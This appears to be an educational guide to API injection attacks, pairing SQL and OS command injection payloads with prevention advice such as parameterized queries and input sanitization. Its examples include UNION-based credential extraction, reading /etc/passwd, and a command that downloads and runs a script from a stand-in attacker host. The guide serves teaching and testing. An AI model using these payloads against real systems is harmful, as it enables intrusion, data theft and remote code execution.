🛡️ OWASP API Security: Injection Attacks (API8:2019)
Welcome Amazing Hackers! This comprehensive guide covers API injection vulnerabilities, one
of the most critical security risks in modern web applications.
📋 Overview of Injection Attacks
Injection vulnerabilities represent a critical security risk in API security. These attacks can manifest in
various forms and can have devastating consequences if left unaddressed. The key concern is that API
endpoints often fail to properly sanitize user input, creating opportunities for malicious actors to exploit
the system.
Types of Injection Attacks
💉 SQL Injection
Manipulating database queries through malicious SQL code
🖥️ OS Command Injection
Executing arbitrary operating system commands
📁 LDAP Injection
Exploiting LDAP queries for unauthorized access
📊 CSV Injection
Injecting malicious formulas in exported files
⚠️ Important: Don't be fooled! Injection attacks don't only come from data you directly
control. They can occur through:
- Third-party services and integrations
- File imports (CSV, XML, JSON, etc.)
- Batch processing jobs
- Hidden or legacy parameters
🎯 Attack Vectors and Entry Points
1. Direct Input Manipulation
The most common attack vector involves manipulating user-controlled input fields in API requests. Every input
field should be considered a potential injection point.
Data Flow Attack Surface
User Input
→
Frontend Validation
→
API Gateway
→
Backend Processing
→
Database
Each step is a potential injection point!
2. File Import Vulnerabilities
File imports, particularly CSV files, represent a significant attack surface. Developers often implement
import functionality after the initial system build, potentially overlooking proper validation.
🔬 SQL Injection Attack Scenarios
Example 1: CSV-Based SQL Injection
Testing for SQL injection vulnerabilities using single quote characters:
name,address,email,phone
',',',',
If this triggers a SQL error, the system is vulnerable. You can then escalate to:
' OR 1=1 --
'; SELECT * FROM users --
⚠️ Critical Risk: Successful SQL injection can result in:
- Complete database dump
- Unauthorized access to sensitive data
- Data modification or deletion
- Authentication bypass
Example 2: Advanced SQL Injection
Using SQL commands to extract entire database tables:
-- Basic SQL Injection Test
' OR '1'='1
-- Union-based injection
' UNION SELECT NULL, username, password FROM users --
-- Time-based blind injection
' AND SLEEP(5) --
-- Boolean-based blind injection
' AND (SELECT COUNT(*) FROM users) > 0 --
💻 OS Command Injection
Understanding Command Injection
OS Command Injection is often less obvious but equally dangerous. It occurs when user input is passed to
system shell commands without proper sanitization.
Command Separators and Injection Techniques
| Platform |
Command Separator |
Example |
| Unix/Linux |
; && || | |
filename.txt; cat /etc/passwd |
| Windows |
& && || | |
filename.txt & dir C:\ |
| Cross-Platform |
` $() |
file`whoami`.txt |
OS Command Injection Examples
; ls -la
& dir C:\Windows\System32
| cat /etc/passwd
&& whoami
|| ping -c 4 attacker.com
$(curl http://attacker.com/malware.sh | bash)
Testing Strategy: Test all suspected parameters with OS command separators for:
- Windows commands (dir, type, net user)
- Linux commands (ls, cat, whoami, id)
- macOS commands
- Batch job triggers
🛠️ Testing Methodology
Step-by-Step Testing Process
- Identify all API endpoints - Map every endpoint in your application
- Locate input parameters - Find all user-controllable data points
- Test with injection payloads - Use SQL, OS command, and other injection techniques
- Analyze responses - Look for error messages or unexpected behavior
- Escalate successful tests - Determine the full impact of vulnerabilities
- Document findings - Record all vulnerabilities with proof of concept
Hidden Parameter Discovery
Find hidden and legacy parameters using:
Google Dorking: site:target.com inurl:api
Wayback Machine: Check historical API endpoints
API Documentation: Review old versions for deprecated parameters
Parameter Fuzzing: Test common parameter names
🔒 Prevention Measures for Developers
1. Input Validation and Sanitization
Golden Rule: Treat every input as compromised until proven otherwise!
Implement comprehensive validation:
- Validate data type (string, integer, boolean)
- Verify length constraints
- Check format requirements (email, phone, etc.)
- Whitelist allowed characters
- Reject suspicious patterns
2. Use Parameterized Queries
Always use prepared statements or parameterized queries for database operations:
// ❌ VULNERABLE CODE (PHP)
$query = "SELECT * FROM users WHERE id =
" . $_GET['id'];
$result = mysqli_query($conn, $query);
// ✅ SECURE CODE (PHP)
$stmt = $conn->prepare("SELECT * FROM users WHERE id =
?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
3. Vulnerable vs. Secure Code Example
// ❌ VULNERABLE PHP CODE - NO SANITIZATION
<?php
$row = $_POST['row'];
$description = $_POST['description'];
$date = $_POST['date'];
$title = $_POST['title'];
echo $row;
echo $description;
echo $date;
echo $title;
?>
// ✅ SECURE PHP CODE - WITH SANITIZATION
<?php
$row = htmlspecialchars($_POST['row'], ENT_QUOTES, 'UTF-8');
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
$date = htmlspecialchars($_POST['date'], ENT_QUOTES, 'UTF-8');
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
echo $row;
echo $description;
echo $date;
echo $title;
?>
4. Centralized Validation System
Create a reusable validation system that can be imported across all endpoints:
Best Practice: Build one centralized validation system for:
- Input validation
- Data sanitization
- Format verification
This ensures consistency and allows for easy updates across your entire API.
5. Use Well-Known Security Libraries
Don't reinvent the wheel! Use proven security libraries:
- OWASP ESAPI - Enterprise Security API
- DOMPurify - For HTML sanitization
- validator.js - String validation library
- Prepared Statements - Built into most database libraries
6. Implement Query Limits
Always limit the number of records returned to prevent resource exhaustion:
SELECT * FROM users LIMIT 100;
SELECT * FROM products WHERE category='electronics' LIMIT 50;
7. API Specification and Firewall
Use API specifications like OpenAPI (Swagger) to define your API contract and implement an API firewall on
top of it.
OpenAPI Benefits:
- Clear API documentation
- Automated validation
- Easy firewall implementation
- Contract-based security
🔍 Complete Security Checklist
| Security Measure |
Priority |
Implementation |
| Input Validation |
CRITICAL |
Validate all user input on both frontend and backend |
| Parameterized Queries |
CRITICAL |
Use prepared statements for all database operations |
| Output Encoding |
HIGH |
Encode output using htmlspecialchars() or equivalent |
| File Import Validation |
HIGH |
Strictly validate imported files (CSV, XML, JSON) |
| API Rate Limiting |
MEDIUM |
Implement rate limiting to prevent abuse |
| Query Result Limits |
MEDIUM |
Always limit the number of records returned |
| Security Headers |
MEDIUM |
Implement proper security headers (CSP, X-Frame-Options) |
| API Firewall |
RECOMMENDED |
Deploy API gateway with firewall capabilities |
🎓 Key Takeaways and Conclusions
Injection Attack Prevention Framework
Identify
Input Points
→
Validate
& Sanitize
→
Use Prepared
Statements
→
Limit
Queries
→
Monitor
& Log
⚠️ Critical Points to Remember:
- Diversity: Injection vulnerabilities are extremely diverse and not always easy to
test automatically
- Severity: The impact can be catastrophic - complete system compromise is possible
- Comprehensive Testing: Test every endpoint, including login functions
- Hidden Parameters: Find and test all hidden parameters
- Version Testing: Test older API versions for vulnerabilities
- Reconnaissance: Use Google Dorking and Wayback Machine for discovery
- Documentation: Maintain a detailed overview of all findings
Testing Tools and Resources
- Burp Suite - Comprehensive web application testing
- OWASP ZAP - Free security scanner
- SQLMap - Automated SQL injection tool
- Commix - Command injection exploiter
- Wayback Machine - Historical API endpoint discovery
- Google Dorking - Search engine reconnaissance
Additional Resources
Further Learning:
- Separate detailed chapters on SQL Injection
- Dedicated OS Command Injection module
- OWASP API Security Top 10 full documentation
- PinkDraconian's SQL Injection video tutorial
✅ Final Recommendations:
- Implement defense in depth - multiple layers of security
- Never trust user input - validate everything
- Use established security libraries - don't roll your own
- Keep security documentation updated
- Perform regular security audits
- Stay informed about new injection techniques
- Train your development team on secure coding practices